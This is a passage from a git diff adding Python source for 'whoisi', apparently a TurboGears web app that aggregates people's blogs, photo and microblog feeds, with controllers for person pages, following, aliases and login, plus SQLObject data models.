+        # make sure that everything is synced
+        old_ns.sync()
+        new_ns.sync()
+
+        # and redirect to our new location
+        new_location = "/p/%d" % p.id
+
+        return dict(status="person_added", new_location=new_location )
+
+    @expose(template="whoisi.templates.person")
+    @validate(validators=dict(person=validators.Int(), f=validators.Int()))
+    def p(self, person, f=None, mode=None, **kw):
+        # display a single person
+        if person is None:
+            redirect('/')
+
+        # get the person object
+        try:
+            person = Person.get(person)
+        except SQLObjectNotFound:
+            raise NotFound
+
+        # Did they want to follow this person?  If so, add them.
+        if f == 1:
+            follow.add_person(person)
+
+        # get all of the names for this person in one shot
+        other_names = fast_names_for_person(person.id)
+
+        # get the new_sites for this person before we get sites to
+        # avoid a race condition during site loading
+        new_sites = NewSite.select(AND(NewSite.q.personID == person.id, NewSite.q.status != "done", NewSite.q.status != "error"))
+
+        # convert to an array to avoid crappy sqlobject behaviour
+        # where it re-queries on every .count() or access
+        tmp_new_sites = []
+        for i in new_sites:
+            tmp_new_sites.append(i)
+
+        new_sites = tmp_new_sites
+
+        # get all of the site_ids for this person
+        sites = fast_sites_for_person(person.id)
+
+        # remove any new sites listed as full sites to avoid the
+        # loading race condition
+        final_new_sites = []
+        site_ids = [s.id for s in sites]
+        for i in new_sites:
+            if i.id in site_ids:
+                continue
+            final_new_sites.append(i)
+
+        new_sites = final_new_sites
+
+        if mode == 'edit':
+            display = 'edit'
+        else:
+            display = 'full'
+
+        # get all of the site history objects for these sites
+        site_history = dict()
+        for i in sites:
+            if i.type != "linkedin":
+                site_history[i.id] = fast_site_history_for_site(i.id, self.getDisplayDepth(i.type, display))
+
+        return dict(display=display,
+                    person=person,
+                    other_names=other_names,
+                    new_sites=new_sites,
+                    sites=sites,
+                    site_history=site_history,
+                    search=person.name)
+
+    @expose()
+    @validate(validators=dict(id=validators.String()))
+    def l(self, id):
+        # check to make sure the link is valid
+        if not re.match('^[a-z0-9]+$', id):
+            raise ValueError("bad id")
+
+        # convert the id to a site history id
+        id = long(id, 16)
+
+        try_backup = False
+        sh = None
+
+        try:
+            sh = SiteHistory.get(id)
+        except SQLObjectNotFound:
+            try_backup = True
+
+        if try_backup:
+            try:
+                sh = SiteHistoryArchive.get(id)
+            except SQLObjectNotFound:
+                raise NotFound
+
+        remoteip, ua, referer = get_request_tracking()
+
+        f = follow_current()
+
+        # record the click through
+        ct = ClickThrough(stamp=datetime.utcnow(),
+                          item=sh, follower=f,
+                          referer=referer,
+                          remoteip=remoteip,
+                          useragent=ua)
+
+        raise redirect(sh.link)
+
+    @expose(template="whoisi.templates.event")
+    @validate(validators=dict(start=validators.Int(), event=validators.NotEmpty()))
+    def e(self, event, start=None):
+        event_name = event
+        banner = None
+        try:
+            pe = PeopleEvent.selectBy(name=event)
+            event_name = pe[0].full_name
+            banner = pe[0].banner
+        except IndexError:
+            pass
+
+        clusters = history_to_clusters(fast_recent_changes_for_event(event, start))
+
+        return dict(clusters=clusters, search=None, banner=banner,
+                    event_name=event_name, event=event)
+
+    @expose(template="whoisi.templates.events")
+    def events(self):
+        e = PeopleEvent.selectBy(active=1)
+        return dict(events=e)
+
+    @expose(template="whoisi.templates.everyone")
+    @validate(validators=dict(start=validators.Int()))
+    def everyone(self, start=None):
+        clusters = history_to_clusters(fast_recent_changes_for_everyone(start))
+
+        return dict(clusters=clusters, search=None)
+
+    @expose()
+    def random(self):
+        return redirect("/p/" + str(Person.getRandom()))
+
+    @expose(allow_json=True)
+    @validate(validators=dict(person=validators.Int()))
+    def siteaddform(self, person, url=None):
+        log.debug("siteaddpre: person %d", person)
+        t = render_template(dict(person=person, url=url, error_text=None),
+                            "whoisi.templates.site-add-widget")
+        return dict(content=unicode(t, "utf-8"))
+
+    @expose(allow_json=True)
+    @validate(validators=dict(person=validators.Int()))
+    def siteaddpost(self, person, url=None,
+                    recaptcha_challenge_field=None,
+                    recaptcha_response_field=None):
+        re_error = recaptcha_check_fail(recaptcha_challenge_field, recaptcha_response_field)
+        if re_error:
+            error_text = "Your words appear incorrect.  Please try again!"
+            t = render_template(dict(person=person, url=url, error_text=error_text),
+                                "whoisi.templates.site-add-widget")
+            return dict(status="captcha_error", content=unicode(t, "utf-8"))
+
+        p = Person.get(person)
+
+        # Set up tracking info for later
+        remoteip, ua, referer = get_request_tracking()
+        follower=follow_current()
+        if follower:
+            follower = follower.id
+
+        track_info = simplejson.dumps(dict(remoteip=remoteip, useragent=ua, referer=referer, follower=follower))
+
+        n = NewSite(person=p, url=url, status="new", track_info=track_info)
+        t = render_template(dict(new_site=n.id), "whoisi.templates.site-add-status-widget")
+        return dict(status="loading", content=unicode(t, "utf-8"))
+
+    @expose(allow_json=True)
+    @validate(validators=dict(new_site=validators.Int()))
+    def siteaddstatus(self, new_site):
+        n = NewSite.get(new_site)
+        if n.status == "done":
+            s = Site.get(n.site.id);
+
+            # get the right site history depth for this particular type
+            sh = None
+            t = s.type
+            if t != "linkedin":
+                d = self.getDisplayDepth(t, "full")
+                sh = fast_site_history_for_site(s.id, d)
+
+            return dict(status="done", content=unicode(self.rendersite(s, sh, "full"), "utf-8"))
+
+        elif n.status == "pick_url":
+            d = n.data
+            d = simplejson.loads(d)
+            t = render_template(dict(new_site=new_site, feeds=d), "whoisi.templates.site-add-pick-widget")
+            return dict(status="pick_url",
+                        content=unicode(t, "utf-8"))
+
+        elif n.status == "error":
+            e = n.error
+            if e == "page_not_found":
+                e = "Page Not Found"
+            elif e == "invalid_feed":
+                e = "Invalid or Empty Feed"
+            else:
+                e = "Error Loading Page"
+
+            t = render_template(dict(error=e), "whoisi.templates.site-add-error-widget")
+            return dict(status="error", content=unicode(t, "utf-8"))
+
+        t = render_template(dict(new_site=n.id), "whoisi.templates.site-add-status-widget")
+        return dict(status="loading", content=unicode(t, "utf-8"))
+
+    @expose(allow_json=True)
+    @validate(validators=dict(new_site=validators.Int(), feed=validators.Int()))
+    def siteaddpick(self, new_site, feed):
+        n = NewSite.get(new_site)
+        if n.status == "pick_url":
+            d = n.data
+            d = simplejson.loads(d)
+            d = d[feed]
+            n.data = simplejson.dumps(d)
+            n.status = "url_picked"
+
+        t = render_template(dict(new_site=new_site), "whoisi.templates.site-add-status-widget")
+        return dict(status="loading", content=unicode(t, "utf-8"))
+
+    @expose(allow_json=True)
+    @validate(validators=dict(site_id=validators.Int()))
+    def siterefresh(self, site_id):
+        s = Site.get(site_id)
+        t = s.type
+        sh = None
+
+        # get our depth if we're not looking at a linkedin url
+        if t != "linkedin":
+            d = self.getDisplayDepth(t, "full")
+            sh = fast_site_history_for_site(s.id, d)
+        
+        return dict(content=unicode(self.rendersite(s, sh, "full"), "utf-8"))
+
+    def getDisplayDepth(self, site_type, render_type):
+        depth_matrix = dict(full=dict(flickr=10, picasa=12, twitter=3, identica=3, delicious=3, feed=3),
+                            edit=dict(flickr=5, picasa=6, twitter=1, identica=1, delicious=1, feed=1),
+                            search=dict(flickr=5, picasa=6, twitter=1, identica=1, delicious=1, feed=1),
+                            preview=dict(flickr=5, picasa=6, twitter=3, identica=3, delicious=3, feed=3))
+        return depth_matrix[render_type][site_type]
+
+    def rendersite(self, site, site_history, display):
+        if site.type == "linkedin":
+            return render_template(dict(site=site, display=display),
+                                   "whoisi.templates.linkedin-widget")
+
+        template = None
+        if site.type == "twitter":
+            template = "whoisi.templates.twitter-widget"
+        elif site.type == "feed":
+            template = "whoisi.templates.weblog-widget"
+        elif site.type == "flickr":
+            template = "whoisi.templates.flickr-widget"
+        elif site.type == "picasa":
+            template = "whoisi.templates.picasa-widget"
+        elif site.type == "identica":
+            template = "whoisi.templates.identica-widget"
+        elif site.type == "delicious":
+            template = "whoisi.templates.delicious-widget"
+        else:
+            return "<div>Oh, crap.  Wtf?</div>\n"
+
+        return render_template(dict(site=site, site_history=site_history, display=display), template)
+
+    @expose(allow_json=True)
+    @validate(validators=dict(site=validators.Int()))
+    def siteremoveform(self, site):
+        t = render_template(dict(site=site, error_text=None),
+                            "whoisi.templates.site-remove-widget")
+        return dict(content=unicode(t, "utf-8"))
+
+    @expose(allow_json=True)
+    @validate(validators=dict(site=validators.Int()))
+    def siteremove(self, site, recaptcha_challenge_field, recaptcha_response_field):
+        re_error = recaptcha_check_fail(recaptcha_challenge_field, recaptcha_response_field)
+        if re_error:
+            error_text = "Your words appear incorrect.  Please try again!"
+            t = render_template(dict(site=site, error_text=error_text),
+                                "whoisi.templates.site-remove-widget")
+            return dict(status="captcha_error",
+                        content=unicode(t, "utf-8"))
+        s = Site.get(site)
+
+        # add something to the audit trail
+        remoteip, ua, referer = get_request_tracking()
+        ChangeAudit(action="remove", itemType="site", itemID=site,
+                    follower=follow_current(),
+                    referer=referer,
+                    remoteip=remoteip,
+                    useragent=ua)
+
+        s.isRemoved = 1
+        s.removed = datetime.utcnow()
+        return dict(status="done")
+
+    @expose(allow_json=True)
+    @validate(validators=dict(person=validators.Int()))
+    def nameupdateform(self, person):
+        p = Person.get(person)
+        t = render_template(dict(person=person, newname=p.name, error_text=None),
+                            "whoisi.templates.name-update-widget")
+        return dict(content=unicode(t, "utf-8"))
+
+    @expose(allow_json=True)
+    @validate(validators=dict(person=validators.Int(), name=validators.NotEmpty()))
+    def nameupdate(self, person, name, recaptcha_challenge_field, recaptcha_response_field):
+        re_error = recaptcha_check_fail(recaptcha_challenge_field, recaptcha_response_field)
+        if re_error:
+            error_text = "Your words appear incorrect.  Please try again!"
+            t = render_template(dict(person=person, newname=name, error_text=error_text),
+                                "whoisi.templates.name-update-widget")
+            return dict(status="captcha_error", content=unicode(t, "utf-8"))
+        person = Person.get(person)
+
+        old = person.name
+        new = name
+
+        d = dict(old=old, new=new)
+        d = simplejson.dumps(d)
+
+        # add something to the audit trail
+        remoteip, ua, referer = get_request_tracking()
+        ChangeAudit(action="change", itemType="person", itemID=person.id,
+                    follower=follow_current(),
+                    referer=referer,
+                    remoteip=remoteip,
+                    useragent=ua,
+                    data=d)
+
+        person.name = name
+        return dict(status="done", name=name)
+
+    @expose(allow_json=True)
+    @validate(validators=dict(person=validators.Int(), name=validators.Int()))
+    def nameremoveform(self, person, name):
+        # We'll use the person later when we move the other names back
+        # to the person object
+        t = render_template(dict(person=person, nameid=name, error_text=None),
+                            "whoisi.templates.name-remove-widget")
+        return dict(content=unicode(t, "utf-8"))
+
+    @expose(allow_json=True)
+    @validate(validators=dict(person=validators.Int(), name=validators.Int()))
+    def nameremove(self, person, name, recaptcha_challenge_field, recaptcha_response_field):
+        re_error = recaptcha_check_fail(recaptcha_challenge_field, recaptcha_response_field)
+        # We'll use the person later when we move the other names back
+        # to the person object
+        n = Name.get(name)
+        if re_error:
+            error_text = "Your words appear incorrect.  Please try again!"
+            t = render_template(dict(person=person, nameid=name, error_text=error_text),
+                                "whoisi.templates.name-remove-widget")
+            return dict(status="captcha_error", content=unicode(t, "utf-8"))
+        p = Person.get(person)
+
+        if p == n.person:
+            n.destroySelf()
+            # add something to the audit trail
+            remoteip, ua, referer = get_request_tracking()
+            ChangeAudit(action="remove", itemType="alias", itemID=p.id,
+                        follower=follow_current(),
+                        referer=referer,
+                        remoteip=remoteip,
+                        useragent=ua,
+                        data=n.name)
+
+        other_names = fast_names_for_person(p.id)
+        t = render_template(dict(person=p, other_names=other_names, display="edit"),
+                            "whoisi.templates.aliases-widget")
+        return dict(status="done", content=unicode(t, "utf-8"))
+
+    @expose(allow_json=True)
+    @validate(validators=dict(person=validators.Int()))
+    def nameaddform(self, person):
+        # need to render this and return it
+        t = render_template(dict(person=person, newname=None, error_text=None),
+                            "whoisi.templates.name-add-widget")
+        return dict(status="done", content=unicode(t, "utf-8"))
+
+    @expose(allow_json=True)
+    @validate(validators=dict(person=validators.Int(), name=validators.NotEmpty()))
+    def nameadd(self, person, name, recaptcha_challenge_field, recaptcha_response_field):
+        p = Person.get(person)
+        re_error = recaptcha_check_fail(recaptcha_challenge_field, recaptcha_response_field)
+        if re_error:
+            error_text = "Your words appear incorrect.  Please try again!"
+            t = render_template(dict(person=person, newname=name, error_text=error_text),
+                                "whoisi.templates.name-add-widget")
+            return dict(status="captcha_error", content=unicode(t, "utf-8"))
+        n = Name(person=p, name=name)
+
+        # add something to the audit trail
+        remoteip, ua, referer = get_request_tracking()
+        ChangeAudit(action="add", itemType="alias", itemID=n.id,
+                    follower=follow_current(),
+                    referer=referer,
+                    remoteip=remoteip,
+                    useragent=ua,
+                    data=name)
+
+        other_names = fast_names_for_person(p.id)
+        # need to render this and return it
+        t = render_template(dict(person=p, other_names=other_names, display="edit"),
+                            "whoisi.templates.aliases-widget")
+        return dict(status="done", content=unicode(t, "utf-8"))
+
+    @expose(template="whoisi.templates.follow")
+    @validate(validators=dict(start=validators.Int(), page=validators.Int()))
+    def follow(self, start=None, sort=None, page=0):
+        # if we're not following anyone at least handle things gracefully
+        if not follow.is_following_anyone():
+            return dict(tg_template="whoisi.templates.nofollow", search=None)
+
+        if sort == "name":
+            # get the people that this person is following as a set of
+            # ids sorted by name
+            people_ids = fast_people_ids_by_name_for_follower()
+
+            # we show 10 per page
+            total_results = len(people_ids)
+            page_size = 10
+            start = page_size * page
+            end = min(total_results, page_size * (page + 1))
+
+            last_page = False
+            first_page = False
+
+            if end == len(people_ids):
+                last_page = True
+
+            people_ids = people_ids[start:end]
+
+            # stuff we're going to pass down into the widget
+            people, other_names, sites, site_history = self.peopleListToFullDisplay(people_ids)
+
+            return dict(tg_template="whoisi.templates.follow-byname", search=None,
+                        people=people,
+                        other_names=other_names,
+                        sites=sites,
+                        site_history=site_history,
+                        last_page=last_page,
+                        cur_page=page,
+                        start=start,
+                        end=end,
+                        total_results=total_results)
+
+        try:
+            clusters = history_to_clusters(fast_recent_changes_for_follower(start=start))
+        except IndexError:
+            return dict(tg_template="whoisi.templates.follow-no-entries", search=None)
+
+        return dict(clusters=clusters, search=None)
+
+    @expose(template="whoisi.templates.unseen")
+    def unseen(self):
+        clusters = None
+
+        if not follow.is_following_anyone():
+            return dict(tg_template="whoisi.templates.nofollow", search=None)
+
+        last_id = None
+        try:
+            start = follow_last_history()
+            rc = fast_recent_changes_for_follower(start=start, unseen=True)
+
+            # the highest number value is used on the page for the
+            # unseen button
+            last_id = rc[0].id
+
+            clusters = history_to_clusters(rc)
+
+        except IndexError:
+            return dict(tg_template="whoisi.templates.unseen-no-entries", search=None)
+
+        return dict(clusters=clusters, last_id=last_id, search=None)
+
+    @expose()
+    @validate(validators=dict(history_id=validators.Int()))
+    def caughtup(self, history_id):
+        f = follow_current()
+        if history_id >= f.last_history:
+            f.last_history = history_id
+            f.count_history = 0
+
+        raise redirect("/unseen")
+
+    @expose(allow_json=True)
+    @validate(validators=dict(person=validators.Int()))
+    def followperson(self, person):
+        stop_follow = '<a person-id="' + str(person) + '" class="person-unfollow" href="#">Stop Following</a>'
+        p = Person.get(person)
+
+        follow.add_person(p)
+
+        # add something to the audit trail
+        remoteip, ua, referer = get_request_tracking()
+        ChangeAudit(action="follow", itemType="person", itemID=p.id,
+                    follower=follow_current(),
+                    referer=referer,
+                    remoteip=remoteip,
+                    useragent=ua)
+
+        still_following_text = self.get_follow_text()
+
+        return dict(status="done", content=stop_follow,
+                    still_following_text=still_following_text)
+
+    @expose(allow_json=True)
+    @validate(validators=dict(person=validators.Int()))
+    def unfollowperson(self, person):
+        start_follow = '<a person-id="' + str(person) + '" class="person-follow" href="#">Follow Person</a>'
+        p = Person.get(person)
+
+        f = follow_current()
+
+        # Here because of race conditions - might end up with more
+        # than one follower in the database.
+        s = FollowPerson.selectBy(follower=f, person=p)
+        for i in s:
+            # add something to the audit trail
+            remoteip, ua, referer = get_request_tracking()
+            ChangeAudit(action="unfollow", itemType="person", itemID=i.person.id,
+                        follower=f,
+                        referer=referer,
+                        remoteip=remoteip,
+                        useragent=ua)
+
+        # we do this after the audits are added because of race conditions
+        follow.remove_person(p)
+
+        content = start_follow
+
+        still_following_text = self.get_follow_text()
+
+        return dict(status="done", content=start_follow,
+                    still_following_text=still_following_text)
+
+    def get_follow_text(self):
+        still_following = follow.is_following_anyone()
+        still_following_text = ""
+        if still_following:
+            if still_following == 1:
+                still_following_text = "1 person"
+            else:
+                still_following_text = str(still_following) + " people"
+        else:
+            still_following_text = "no one"
+
+        return still_following_text
+
+    @expose(template="whoisi.templates.recommendations")
+    @validate(validators=dict(page=validators.Int()))
+    def recommendations(self, page=0):
+        # see if we have current recommendations
+        people_ids = []
+        try:
+            people_ids = simplejson.loads(FollowerRecommendations.selectBy(followerID=follow_current().id)[0].data)
+        except:
+            pass
+
+        # we show 10 per page
+        total_results = len(people_ids)
+        page_size = 10
+        start = page_size * page
+        end = min(total_results, page_size * (page + 1))
+
+        last_page = False
+        first_page = False
+
+        if end == len(people_ids):
+            last_page = True
+
+        people_ids = people_ids[start:end]
+
+        # stuff we're going to pass down into the widget
+        people, other_names, sites, site_history = self.peopleListToFullDisplay(people_ids)
+
+        return dict(search=None,
+                    people=people,
+                    other_names=other_names,
+                    sites=sites,
+                    site_history=site_history,
+                    last_page=last_page,
+                    cur_page=page,
+                    start=start,
+                    end=end,
+                    total_results=total_results)
+
+    @expose()
+    def genrecommendations(self):
+        if not follow.is_following_anyone():
+            return redirect("/recommendations")
+
+        rec = None
+        if follow.is_following_anyone():
+            rec = get_recommendations(follow_current().id, 100)
+        
+        # See if there's already a set of recommendations in the
+        # database
+        fr = None
+        sr = FollowerRecommendations.selectBy(followerID=follow_current().id)
+
+        if sr.count() > 0:
+            fr = sr[0]
+
+        d = simplejson.dumps(rec)
+
+        if fr is None:
+            FollowerRecommendations(followerID=follow_current().id,
+                                    data=d)
+        else:
+            fr.data = d
+            fr.stamp = datetime.utcnow()
+            fr.sync()
+
+        raise redirect("/recommendations")
+
+    @expose(template="whoisi.templates.about")
+    def about(self):
+        return dict()
+
+    @expose(template="whoisi.templates.contact")
+    def contact(self):
+        return dict()
+
+    @expose(template="whoisi.templates.login-info")
+    def logininfo(self):
+        c = follow_current()
+        return dict(follower=c)
+
+
+    @expose(template="whoisi.templates.login-not-found")
+    def login(self, private_key=None):
+        log.debug("login: private_key %s" % private_key)
+        if private_key:
+            f = Follower.lookup_by_private_key(private_key)
+            if f:
+                follow_login(f)
+                return redirect("/follow")
+        return dict(search=None)
+
+    @expose(template="whoisi.templates.login")
+    def userlogin(self, forward_url=None, previous_url=None, *args, **kw):
+
+        if not identity.current.anonymous \
+            and identity.was_login_attempted() \
+            and not identity.get_identity_errors():
+            raise redirect(forward_url)
+
+        forward_url=None
+        previous_url= request.path
+
+        if identity.was_login_attempted():
+            msg=_("The credentials you supplied were not correct or "
+                   "did not grant access to this resource.")
+        elif identity.get_identity_errors():
+            msg=_("You must provide your credentials before accessing "
+                   "this resource.")
+        else:
+            msg=_("Please log in.")
+            forward_url= request.headers.get("Referer", "/")
+            
+        response.status=403
+        return dict(message=msg, previous_url=previous_url, logging_in=True,
+                    original_parameters=request.params,
+                    forward_url=forward_url)
+
+    @expose()
+    def userlogout(self):
+        identity.current.logout()
+        raise redirect("/")
+
+    def peopleListToFullDisplay(self, people_ids):
+        """
+        Pass in an array with a list of people_ids and it will return a
+        bunch of useful values.  Use it like this:
+
+        p = [1,2,3]
+        people, other_names, sites, site_history = self.peopleListToFullDisplay(people_ids)
+        """
+
+        people = []
+        other_names = dict()
+        sites = dict()
+        site_history = dict()
+
+        for i in people_ids:
+            p = Person.get(i)
+            people.append(Person.get(i))
+
+            # get the other names for this person
+            o = fast_names_for_person(i)
+            other_names[i] = o
+
+            # get the sites for this person
+            s = fast_sites_for_person(i)
+            sites[p.id] = s
+
+            # get a site history for each of the sites listed
+            for j in s:
+                if j.type != "linkedin":
+                    d = self.getDisplayDepth(j.type, "search")
+                    site_history[j.id] = fast_site_history_for_site(j.id, d)
+
+        return people, other_names, sites, site_history
diff --git a/whoisi/json.py b/whoisi/json.py
new file mode 100644 (file)
index 0000000..4765bfc
--- /dev/null
@@ -0,0 +1,55 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# A JSON-based API(view) for your app.
+# Most rules would look like:
+# @jsonify.when("isinstance(obj, YourClass)")
+# def jsonify_yourclass(obj):
+#     return [obj.val1, obj.val2]
+# @jsonify can convert your objects to following types:
+# lists, dicts, numbers and strings
+
+from turbojson.jsonify import jsonify
+
+from turbojson.jsonify import jsonify_sqlobject
+from whoisi.model import User, Group, Permission
+
+@jsonify.when('isinstance(obj, Group)')
+def jsonify_group(obj):
+    result = jsonify_sqlobject( obj )
+    result["users"] = [u.user_name for u in obj.users]
+    result["permissions"] = [p.permission_name for p in obj.permissions]
+    return result
+
+@jsonify.when('isinstance(obj, User)')
+def jsonify_user(obj):
+    result = jsonify_sqlobject( obj )
+    del result['password']
+    result["groups"] = [g.group_name for g in obj.groups]
+    result["permissions"] = [p.permission_name for p in obj.permissions]
+    return result
+
+@jsonify.when('isinstance(obj, Permission)')
+def jsonify_permission(obj):
+    result = jsonify_sqlobject( obj )
+    result["groups"] = [g.group_name for g in obj.groups]
+    return result
diff --git a/whoisi/model.py b/whoisi/model.py
new file mode 100644 (file)
index 0000000..49da041
--- /dev/null
@@ -0,0 +1,554 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from datetime import datetime
+from turbogears.database import PackageHub
+from sqlobject import *
+from turbogears import identity
+
+hub = PackageHub('whoisi')
+__connection__ = hub
+
+# identity models.
+class Visit(SQLObject):
+    """
+    A visit to your site
+    """
+    class sqlmeta:
+        table = 'visit'
+
+    visit_key = StringCol(length=40, alternateID=True,
+                          alternateMethodName='by_visit_key')
+    created = DateTimeCol(default=datetime.utcnow)
+    expiry = DateTimeCol()
+
+    def lookup_visit(cls, visit_key):
+        try:
+            return cls.by_visit_key(visit_key)
+        except SQLObjectNotFound:
+            return None
+    lookup_visit = classmethod(lookup_visit)
+
+
+class VisitIdentity(SQLObject):
+    """
+    A Visit that is link to a User object
+    """
+    visit_key = StringCol(length=40, alternateID=True,
+                          alternateMethodName='by_visit_key')
+    user_id = IntCol()
+
+
+class Group(SQLObject):
+    """
+    An ultra-simple group definition.
+    """
+    # names like "Group", "Order" and "User" are reserved words in SQL
+    # so we set the name to something safe for SQL
+    class sqlmeta:
+        table = 'tg_group'
+
+    group_name = UnicodeCol(length=16, alternateID=True,
+                            alternateMethodName='by_group_name')
+    display_name = UnicodeCol(length=255)
+    created = DateTimeCol(default=datetime.utcnow)
+
+    # collection of all users belonging to this group
+    users = RelatedJoin('User', intermediateTable='user_group',
+                        joinColumn='group_id', otherColumn='user_id')
+
+    # collection of all permissions for this group
+    permissions = RelatedJoin('Permission', joinColumn='group_id',
+                              intermediateTable='group_permission',
+                              otherColumn='permission_id')
+
+
+class User(SQLObject):
+    """
+    Reasonably basic User definition.
+    Probably would want additional attributes.
+    """
+    # names like "Group", "Order" and "User" are reserved words in SQL
+    # so we set the name to something safe for SQL
+    class sqlmeta:
+        table = 'tg_user'
+
+    user_name = UnicodeCol(length=16, alternateID=True,
+                           alternateMethodName='by_user_name')
+    email_address = UnicodeCol(length=255, alternateID=True,
+                               alternateMethodName='by_email_address')
+    display_name = UnicodeCol(length=255)
+    password = UnicodeCol(length=40)
+    created = DateTimeCol(default=datetime.utcnow)
+
+    # groups this user belongs to
+    groups = RelatedJoin('Group', intermediateTable='user_group',
+                         joinColumn='user_id', otherColumn='group_id')
+
+    def _get_permissions(self):
+        perms = set()
+        for g in self.groups:
+            perms = perms | set(g.permissions)
+        return perms
+
+    def _set_password(self, cleartext_password):
+        "Runs cleartext_password through the hash algorithm before saving."
+        password_hash = identity.encrypt_password(cleartext_password)
+        self._SO_set_password(password_hash)
+
+    def set_password_raw(self, password):
+        "Saves the password as-is to the database."
+        self._SO_set_password(password)
+
+
+class Permission(SQLObject):
+    """
+    A relationship that determines what each Group can do
+    """
+    permission_name = UnicodeCol(length=16, alternateID=True,
+                                 alternateMethodName='by_permission_name')
+    description = UnicodeCol(length=255)
+
+    groups = RelatedJoin('Group',
+                         intermediateTable='group_permission',
+                         joinColumn='permission_id',
+                         otherColumn='group_id')
+
+
+class Person(SQLObject):
+    """
+    A Person is the base object that we track on the site.  It
+    includes links to account information, sites, feeds and is also
+    what a person can follow from an account/session.
+    """
+    # primary name
+    name = UnicodeCol()
+    # other names that this person goes by
+    other_names = MultipleJoin('Name')
+    # owner (login?)
+    sites = MultipleJoin('Site')
+
+    @staticmethod
+    def getRandom():
+        """
+        This uses raw mysql syntax to generate a random person ID.
+        """
+        c = Person._connection
+        result = c.queryAll("select id from person order by rand() limit 1")
+        return result[0][0]
+
+class Name(SQLObject):
+    """
+    Names that a person can have.  Has a one-to-one relationship when
+    a primary name is involved or a one-to-many when we're talking
+    about other names that people have.
+    """
+    name = UnicodeCol(notNone=True)
+    person = ForeignKey('Person')    
+
+class Site(SQLObject):
+    """
+    The Site is really a url that is connected to a feed.  The Site is
+    the user-accessible part of that site while the actual feed is the
+    underlying RSS/Atom link that's also stored.
+    """
+    person = ForeignKey('Person')
+    # user-exposed url, not the feed url i.e http://www.0xdeadbeef.com/ vs. the rss feed
+    url = UnicodeCol(notNone=True)
+    # could be feed, flickr, rhapsody, amazon, something else
+    type = UnicodeCol(length=16, default=None)
+    # feed url (rss or atom)
+    feed = UnicodeCol(default=None)
+    # can be atom, rss1, rss2, scrape, etc
+    feedType = UnicodeCol(length=16, default=None)
+    # added
+    # added by (or auditing? - need to figure out how spam works)
+    # link to site entries
+    title = UnicodeCol(default=None)
+    # time of creation
+    created = DateTimeCol(default=None)
+    # last time that something changed on the site
+    lastUpdate = DateTimeCol(default=None)
+    # last time we looked at the site
+    lastPoll = DateTimeCol(default=None)
+    # been removed?
+    isRemoved = BoolCol(default=None)
+    # time of removal
+    removed = DateTimeCol(default=None)
+    # site history
+    history = MultipleJoin('SiteHistory')
+    # the current entry - used by linkedin right now and anything else
+    # we scrape
+    current = UnicodeCol(default=None)
+    changes = MultipleJoin('SiteChanges')
+
+    def getOrderedHistory(self):
+        h = SiteHistory.select(SiteHistory.q.siteID==self.id, orderBy=[SiteHistory.q.updated,SiteHistory.q.touched]).reversed()
+        return h
+
+#def get_recently_changed_sites(date):
+#    h = Site.select(Site.q.lastUpdate > date, orderBy=[Site.q.lastUpdate]).reversed()
+#    return h
+
+class SiteHistory(SQLObject):
+    """
+    The SiteHistory object is connected to a particular site with a
+    many-to-one relationship.  It is a list of entries for a site with
+    a feed.
+    """
+    site = ForeignKey('Site')
+    title = UnicodeCol(default=None)
+    link = UnicodeCol(default=None)
+    entry_id = UnicodeCol(default=None)
+    added = DateTimeCol(default=None)
+    touched = DateTimeCol(default=None)
+    published = DateTimeCol(default=None)
+    updated = DateTimeCol(default=None)
+    summary = UnicodeCol(default=None)
+    content = UnicodeCol(default=None)
+    display_cache = UnicodeCol(default=None)
+    on_new = BoolCol(default=0) # set to one when this is an item that
+                                # was added when the site was created.
+
+    def getText(self):
+        if self.content is not None:
+            return self.content
+
+        return self.summary
+
+    def getAge(self):
+        last = self.getLastTouched()
+        if not last:
+            return "Unknown"
+
+        d = datetime.utcnow() - last
+        if d.days == 1:
+            return "Yesterday"
+
+        if d.days > 0:
+            return "%d days ago" % d.days
+        
+        # hours
+        mins = int(d.seconds / 60)
+        if mins < 60:
+            return "%d minutes ago" % mins
+
+        return "%d hours ago" % int(mins / 60)
+
+    def getLastTouched(self):
+        # we do the 'min vs. self.added' thing in case a blog reports
+        # a time in the future
+        if self.updated and self.published:
+            reported = max(self.updated, self.published)
+            return min(reported, self.added)
+        
+        if self.updated and self.published == None:
+            return min(self.updated, self.added)
+
+        if self.published and self.updated == None:
+            return min(self.published, self.added)
+
